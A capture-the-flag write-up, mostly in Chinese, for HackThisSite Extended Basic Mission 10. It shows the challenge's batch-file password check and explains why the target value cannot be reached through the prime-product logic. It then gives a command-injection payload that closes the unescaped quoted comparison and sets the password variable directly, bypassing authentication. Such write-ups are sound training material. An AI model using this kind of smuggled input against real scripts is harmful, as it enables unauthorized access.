HackThisSite - Extended Basic Mission 10

Challenge

The following is a batch script authentication system. Your goal here is to get the batch script to authenticate you by inputting a password into the field. For this extbasic, your goal is to circumvent authentication altogether. Decrypting the password is for extbasic11.

关卡给出一个 Windows batch 认证脚本,要求输入内容使脚本认证通过。本关的目标是绕过认证。

关卡页把脚本正文放在 <code> 块里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
@ECHO OFF
SETLOCAL ENABLEDELAYEDEXPANSION
SET PRIME=2 3 5 7 11 13 17 19 23 29 31 37 41 43 47 53 59 61 67 71 73 79 83 89 97 101
SET CHARS=a b c d e f g h i j k l m n o p q r s t u v w x y z
SET PASSWORDVALUE=1
SET INPUT=
SET /P INPUT=Insert password:
IF "%INPUT%"=="" "%~0"
ECHO Authenticating...
:OVERLOOP
SET CURRENTPOSITION=0
:SUBLOOP
IF /I "!INPUT:~%CHARACTERPOSITION%,1!"=="!CHARS:~%CURRENTPOSITION%,1!" SET /A PASSWORDVALUE*=!PRIME:~%CURRENTPOSITION%,3!
SET /A CURRENTPOSITION+=3
IF NOT %CURRENTPOSITION%==78 GOTO :SUBLOOP
SET /A CHARACTERPOSITION+=1
IF NOT "!INPUT:~%CHARACTERPOSITION%,1!"=="" GOTO :OVERLOOP
:END
ENDLOCAL&IF NOT %PASSWORDVALUE%==1065435274 GOTO :ACCESSDENIED
ECHO You have been authenticated. Welcome aboard!
GOTO :SILENTPAUSE
:ACCESSDENIED
ECHO Access denied!
:SILENTPAUSE
PAUSE > NUL

Solution

PRIMECHARS 都按 3 个字符一项排列。内层循环依次取 036 直到 75,将输入字符映射到 2101 的质数;命中后执行:

1
SET /A PASSWORDVALUE*=对应质数

最终判定要求 PASSWORDVALUE 等于 1065435274。该值的分解为:

1
1065435274 = 2 × 6827 × 78031

682778031 不在脚本的质数表中,因此按原有乘法路径无法得到目标值。可利用点在输入处理,而非乘积本身。

认证前的判断直接把原始输入拼进双引号:

1
IF "%INPUT%"=="" "%~0"

输入未经过转义,可以闭合字符串并追加命令。使用以下 payload:

1
"=="" set passwordvalue=1065435274 && goto :end abc

代入后得到:

1
IF ""=="" set passwordvalue=1065435274 && goto :end abc"=="" "%~0"

""=="" 成立,set passwordvalue=1065435274 将累积值直接设为目标值,goto :end 跳过整个乘法循环。set 的变量名不区分大小写,所以这里的 passwordvalue 与脚本中的 PASSWORDVALUE 相同。

到达 :END 后,判定行中的 %PASSWORDVALUE% 会在整行执行前展开,早于 ENDLOCAL

1
ENDLOCAL&IF NOT %PASSWORDVALUE%==1065435274 GOTO :ACCESSDENIED

此时展开结果为 1065435274==1065435274IF NOT 条件为假,执行流进入认证成功分支。